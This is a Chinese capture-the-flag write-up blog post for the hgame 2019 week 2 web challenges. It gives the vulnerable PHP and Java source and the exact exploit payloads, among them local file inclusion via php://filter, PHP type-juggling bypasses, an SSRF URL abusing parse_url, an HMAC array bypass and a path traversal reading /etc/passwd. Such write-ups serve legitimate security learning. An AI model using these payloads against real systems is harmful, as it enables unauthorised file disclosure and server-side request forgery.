Xi4or0uji's blog

2019 hgame week2

字数统计: 1.7k阅读时长: 9 min
2019/02/03 Share

easy_php

这题进去首先可以看到一个index.html,题目是where is my robots,访问一下robots.txt,提示img/index.php,访问一下这个php文件,就到了代码审计了

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

可以看到一个include_once,很明显的文件包含漏洞,同时扫下后台可以知道easyphp目录下有个flag.php,但是也可以看到flag.php是在img/index.php的上一层目录,又因为过滤了一次../双写绕过就行,最终payload

1
http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=....//flag

php trick

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

可以看到,前四个step都可以用php黑魔法和数组绕过

1
str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2

第五步可以看到要一个H_game,这个可以用点绕过下划线
到了str5要求不是数字,大于9999999999同时(string)str5小于0,这个用数组绕过
最后的parse_url利用它解析顺序的不同
payload

1
str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php

然后拿到flag.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);

然后就是利用伪协议读文件了

1
str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

PHP is the best language

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php  
include 'secret.php';

#echo $flag;
#echo $secret;

if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);
if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}

首先,sha256不能处理数组,所以我们可以先试下如果让他处理数组会怎样

1
2
3
4
5
<?php
$secret = "123456";
$data = array('1'=>'1');
$gate = hash_hmac('sha256',$data,$secret);
var_dump($gate);


所以现在gate的值我们可以控制了,只剩下一个key值要满足md5($_POST['key'])+1 == md5(md5($_POST['key']))+1,这个我们通过爆破可以找到一个12是可以满足这条式子的,所以最终payload

1
door[]=1&gate=4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf&key=12

Baby_Spider

这题要你在很短的时间里算出一些很长的式子,上脚本上脚本
这道题有很短坑,要求加user-agent,到了中间字符又会被替换(0123456789 -> 1026943587),最后还有去到css看真实的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding: UTF-8 -*-
import requests
import re

header={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36"
}
token={
'token':'cUUHjtSX6xcnuG1HZQoaBi7rUq0WzoIJ'
}
list='1026943587'
url='http://111.231.140.29:10000/'
url1='http://111.231.140.29:10000/question'
url2='http://111.231.140.29:10000/solution'
url3='http://111.231.140.29:10000/statics/style.css'
res = '<span>(.*?)='
r=requests.post(url=url,data=token)
session=r.cookies
print("[*] "+"-"*40)

for i in range(0,10):
math = re.findall(res, r.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
print('[+] %s '% math)
answer = eval(math)
result = {
'answer': answer
}
print ('[+] %d '% answer)
r=requests.post(url=url2,data=result,cookies=session,headers=header)
session = r.cookies
print("[*] " + "-" * 40)

tmp=''
for i in range(10,20):
math = re.findall(res, r.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
for j in math:
if ord(j) > 47:
tmp += list[int(j)]
else:
tmp += j
math = tmp
tmp = ''
print('[+] %s ' % math)
answer = (eval(math))
result = {
'answer': answer
}
print ('[+] %d ' % answer)
r = requests.post(url=url2, data=result, cookies=session, headers=header)
session = r.cookies
print("[*] " + "-" * 40)

res = 'content:"(.*?)='
for i in range(20,30):
css = requests.get(url=url3, cookies=session, headers=header)
math = re.findall(res, css.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
print('[+] %s ' % math)
answer = (eval(math))
result = {
'answer': answer
}
print ('[+] %d ' % answer)
r = requests.post(url=url2, data=result, cookies=session, headers=header)
session=r.cookies
print("[*] " + "-" * 40)
if "hgame" in r.content.decode('utf-8'):
print(r.content.decode('utf-8'))

Math有趣

这里进去源码能看到一个图片的地址

1
<img src=/img/cXVlc3Rpb24ucG5n.php>

接着乱输发现会报错,顺便还把路径给爆出来了

试着读一下文件

1
../../../../../../../../../../../../../etc/passwd

base64加密一下过去居然能读到文件,现在我们就要去class读文件了

1
2
3
/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class
payload:
http://test.tan90.me:8080/img/L3Vzci9sb2NhbC90b21jYXQvd2ViYXBwcy9ST09UL1dFQi1JTkYvY2xhc3Nlcy9oZ2FtZS9jb250cm9sbGVyL01hdGhDb250cm9sbGVyLmNsYXNz

下下来一个class文件然后反编译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package hgame.controller;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MathController
{
@RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String index(ModelMap model, HttpSession session, HttpServletResponse response)
throws IOException
{
Object step = session.getAttribute("step");
if (step == null)
{
session.setAttribute("step", Character.valueOf('1'));
response.sendRedirect("/index.php");
return null;
}
if (step.toString().equals("1")) {
model.addAttribute("message", "Welcome to the world of mathematics.<br/>Let's warm up first.<br/>1+1=?");
} else if (step.toString().equals("2")) {
model.addAttribute("message", "It seems that you have learned it, let us do a difficult question.<br/><img src=/img/cXVlc3Rpb24ucG5n.php><br/>Show me the smallest integer solutions.");
}
return "math";
}

@RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public void pindex(@RequestParam("answer") String answer, HttpSession session, HttpServletResponse response)
throws IOException
{
Object step = session.getAttribute("step");
if (step == null)
{
session.setAttribute("step", Character.valueOf('1'));
response.sendRedirect("/index.php");
}
else if ((step.toString().equals("1")) &&
(answer.equals("2")))
{
session.setAttribute("step", "2");
response.sendRedirect("/index.php");
}
}

@RequestMapping(value={"/img/{path}"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String image(@PathVariable("path") String path, HttpServletResponse response)
{
path = new String(Base64.getDecoder().decode(path));
InputStream f = null;
OutputStream out = null;
try
{
f = new FileInputStream("/home/static/" + path);
out = response.getOutputStream();
int count = 0;
byte[] buffer = new byte['���'];
while ((count = f.read(buffer)) != -1)
{
out.write(buffer, 0, count);
out.flush();
}
}
catch (Exception e)
{
e.printStackTrace();
}
try
{
f.close();
out.close();
}
catch (Exception e)
{
e.printStackTrace();
}
return "ok";
}

@RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String Flag(ModelMap model)
{
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}
}

所以只要找到一个满足123852^x % 612799081 = 6181254136845 % 612799081的x就行,最后爆破得到x是15387368,flag:hgame{15387368}

CATALOG
  1. 1. easy_php
  • php trick
    1. 1. PHP is the best language
    2. 2. Baby_Spider
    3. 3. Math有趣